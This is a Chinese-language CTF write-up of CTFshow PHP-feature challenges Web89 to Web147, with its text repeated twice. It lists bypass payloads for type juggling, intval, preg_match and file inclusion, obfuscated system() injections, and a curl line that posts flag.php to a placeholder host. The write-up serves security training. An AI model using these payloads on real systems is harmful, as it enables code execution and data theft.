php代码审计前奏之ctfshow之php特性
字数 2555 2025-08-15 21:33:34

CTFshow PHP特性代码审计教学文档

基础概念

PHP代码审计的核心是理解危险函数、过滤不足和特殊特性。本系列题目来自CTFshow平台,通过实战练习掌握PHP代码审计技巧。

Web89 - 数组绕过preg_match

关键点

  • preg_match() 对数组参数返回false
  • 使用数组绕过数字检测:?num[]=1
if(preg_match("/[0-9]/", $num)){ die("no no no!"); }
if(intval($num)){ echo $flag; }

Web90 - intval函数

关键点

  • intval() 函数进制转换特性
  • 当base=0时自动检测格式(16进制/8进制/10进制)
  • 构造:?num=4476a
if($num==="4476"){ die("no no no!"); }
if(intval($num,0)===4476){ echo $flag; }

Web91 - /m修饰符和%0a绕过

关键点

  • /m多行匹配与单行匹配差异
  • 使用%0a换行符绕过:?cmd=php%0ap
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){ die('hacker'); }
    else{ echo $flag; }
}

Web92-95 - intval进阶绕过

关键点

  • 十六进制:0x117c
  • 八进制:010574
  • 科学计数法:4476e2
  • 空格绕过:?num= 010574
  • 小数点:?num=4476.0
  • 加号:?num=+4476.0

Web96 - 路径绕过

关键点

  • 绝对路径:/var/www/html/flag.php
  • 相对路径:./flag.php

Web97 - MD5数组绕过

关键点

  • MD5处理数组返回null
  • 构造:a[]=1&b[]=2

Web98 - 三元运算和引用

关键点

  • 三元运算符和变量引用
  • 通过POST覆盖GET:?_POST[key1]=36d&_POST[key2]=36d

Web99 - in_array漏洞

关键点

  • in_array() 弱类型比较
  • 构造:/?n=1.php + POST content=<?php system('cat flag36d.php');?>

Web100 - 运算符优先级

关键点

  • = 优先级高于 and
  • 反射类获取flag:?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/

Web101-102 - 反射类进阶

关键点

  • 数组形式调用:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
  • FilesystemIterator类:?v1=FilesystemIterator&v2=getcwd

Web103-107 - 哈希弱比较

关键点

  • sha1/md5处理数组返回null
  • 特殊哈希值:
    • aaroZmOk
    • aaK1STfY
    • aaO8zKZF
    • aa3OFF9m

Web108 - ereg %00截断

关键点

  • ereg() NULL截断漏洞
  • 构造:?c=a%00aaaa778

Web109-110 - 异常处理和文件遍历

关键点

  • 通过异常执行命令:?v1=Exception&v2=system('ls')
  • FilesystemIterator类读取文件

Web111 - 全局变量引用

关键点

  • 通过GLOBALS引用:?v1=ctfshow&v2=GLOBALS

Web112-114 - 文件包含绕过

关键点

  • 伪协议绕过:
    • php://filter/resource=flag.php
    • compress.zlib://flag.php
  • /proc/self/root 重复路径绕过

Web115 - trim和is_numeric绕过

关键点

  • %0c 绕过trim检测
  • 构造:?num=%0c36

Web123-126 - $_SERVER['argv']利用

关键点

  • 变量名特殊字符绕过
  • parse_str($a[1]) 执行代码
  • assert 函数利用

Web127 - 变量名fuzz

关键点

  • 空格代替下划线:?ctf show=ilove36d

Web128 - gettext拓展

关键点

  • _()gettext() 别名
  • get_defined_vars() 获取所有变量

Web129-131 - 文件包含进阶

关键点

  • stripos() 位置判断
  • 路径穿越:?f=/ctfshow/../var/www/html/flag.php
  • 正则回溯绕过

Web132-133 - 运算符优先级

关键点

  • ||&& 优先级
  • 无回显RCE:?F=`$F `;curl -X POST -F xx=@flag.php http://xxx

Web134 - POST数组覆盖

关键点

  • parse_strextract 组合
  • 构造:?_POST[key1]=36d&_POST[key2]=36d

Web135-137 - 命令执行绕过

关键点

  • nlcpmv 替代 cat
  • 反射类调用:?ctfshow=ctfshow::getFlag

Web138-139 - 盲注技巧

关键点

  • 时间盲注判断文件内容
  • 数组回调:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

Web140-146 - 代码执行进阶

关键点

  • 取反绕过:(~%8C%86%8C%8B%9A%92)(~%93%8C)
  • 异或运算:("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")
  • 三元运算符:?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5):
  • 位运算绕过:|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|

Web147 - 动态函数执行

关键点

  • 正则绕过执行函数
  • 构造:ctf=create_function&show=;}system('ls');//

总结

PHP代码审计需要掌握:

  1. 危险函数特性(如preg_match、intval等)
  2. 类型转换和比较问题
  3. 各种绕过技巧(数组、编码、运算符等)
  4. 特殊类和方法的使用
  5. 无回显情况下的利用方法

通过系统练习这些题目,可以全面掌握PHP代码审计的核心技能。

CTFshow PHP特性代码审计教学文档 基础概念 PHP代码审计的核心是理解危险函数、过滤不足和特殊特性。本系列题目来自CTFshow平台,通过实战练习掌握PHP代码审计技巧。 Web89 - 数组绕过preg_ match 关键点 : preg_match() 对数组参数返回false 使用数组绕过数字检测: ?num[]=1 Web90 - intval函数 关键点 : intval() 函数进制转换特性 当base=0时自动检测格式(16进制/8进制/10进制) 构造: ?num=4476a Web91 - /m修饰符和%0a绕过 关键点 : /m 多行匹配与单行匹配差异 使用 %0a 换行符绕过: ?cmd=php%0ap Web92-95 - intval进阶绕过 关键点 : 十六进制: 0x117c 八进制: 010574 科学计数法: 4476e2 空格绕过: ?num= 010574 小数点: ?num=4476.0 加号: ?num=+4476.0 Web96 - 路径绕过 关键点 : 绝对路径: /var/www/html/flag.php 相对路径: ./flag.php Web97 - MD5数组绕过 关键点 : MD5处理数组返回null 构造: a[]=1&b[]=2 Web98 - 三元运算和引用 关键点 : 三元运算符和变量引用 通过POST覆盖GET: ?_POST[key1]=36d&_POST[key2]=36d Web99 - in_ array漏洞 关键点 : in_array() 弱类型比较 构造: /?n=1.php + POST content=<?php system('cat flag36d.php');?> Web100 - 运算符优先级 关键点 : = 优先级高于 and 反射类获取flag: ?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/ Web101-102 - 反射类进阶 关键点 : 数组形式调用: ctfshow[0]=ctfshow&ctfshow[1]=getFlag FilesystemIterator 类: ?v1=FilesystemIterator&v2=getcwd Web103-107 - 哈希弱比较 关键点 : sha1/md5处理数组返回null 特殊哈希值: aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m Web108 - ereg %00截断 关键点 : ereg() NULL截断漏洞 构造: ?c=a%00aaaa778 Web109-110 - 异常处理和文件遍历 关键点 : 通过异常执行命令: ?v1=Exception&v2=system('ls') FilesystemIterator 类读取文件 Web111 - 全局变量引用 关键点 : 通过 GLOBALS 引用: ?v1=ctfshow&v2=GLOBALS Web112-114 - 文件包含绕过 关键点 : 伪协议绕过: php://filter/resource=flag.php compress.zlib://flag.php /proc/self/root 重复路径绕过 Web115 - trim和is_ numeric绕过 关键点 : %0c 绕过trim检测 构造: ?num=%0c36 Web123-126 - $_ SERVER[ 'argv' ]利用 关键点 : 变量名特殊字符绕过 parse_str($a[1]) 执行代码 assert 函数利用 Web127 - 变量名fuzz 关键点 : 空格代替下划线: ?ctf show=ilove36d Web128 - gettext拓展 关键点 : _() 是 gettext() 别名 get_defined_vars() 获取所有变量 Web129-131 - 文件包含进阶 关键点 : stripos() 位置判断 路径穿越: ?f=/ctfshow/../var/www/html/flag.php 正则回溯绕过 Web132-133 - 运算符优先级 关键点 : || 和 && 优先级 无回显RCE: ?F=`$F `;curl -X POST -F xx=@flag.php http://xxx Web134 - POST数组覆盖 关键点 : parse_str 和 extract 组合 构造: ?_POST[key1]=36d&_POST[key2]=36d Web135-137 - 命令执行绕过 关键点 : nl 、 cp 、 mv 替代 cat 反射类调用: ?ctfshow=ctfshow::getFlag Web138-139 - 盲注技巧 关键点 : 时间盲注判断文件内容 数组回调: ctfshow[0]=ctfshow&ctfshow[1]=getFlag Web140-146 - 代码执行进阶 关键点 : 取反绕过: (~%8C%86%8C%8B%9A%92)(~%93%8C) 异或运算: ("%13%19%13%14%05%0d"^"%60%60%60%60%60%60") 三元运算符: ?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5): 位运算绕过: |(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)| Web147 - 动态函数执行 关键点 : 正则绕过执行函数 构造: ctf=create_function&show=;}system('ls');// 总结 PHP代码审计需要掌握: 危险函数特性(如preg_ match、intval等) 类型转换和比较问题 各种绕过技巧(数组、编码、运算符等) 特殊类和方法的使用 无回显情况下的利用方法 通过系统练习这些题目,可以全面掌握PHP代码审计的核心技能。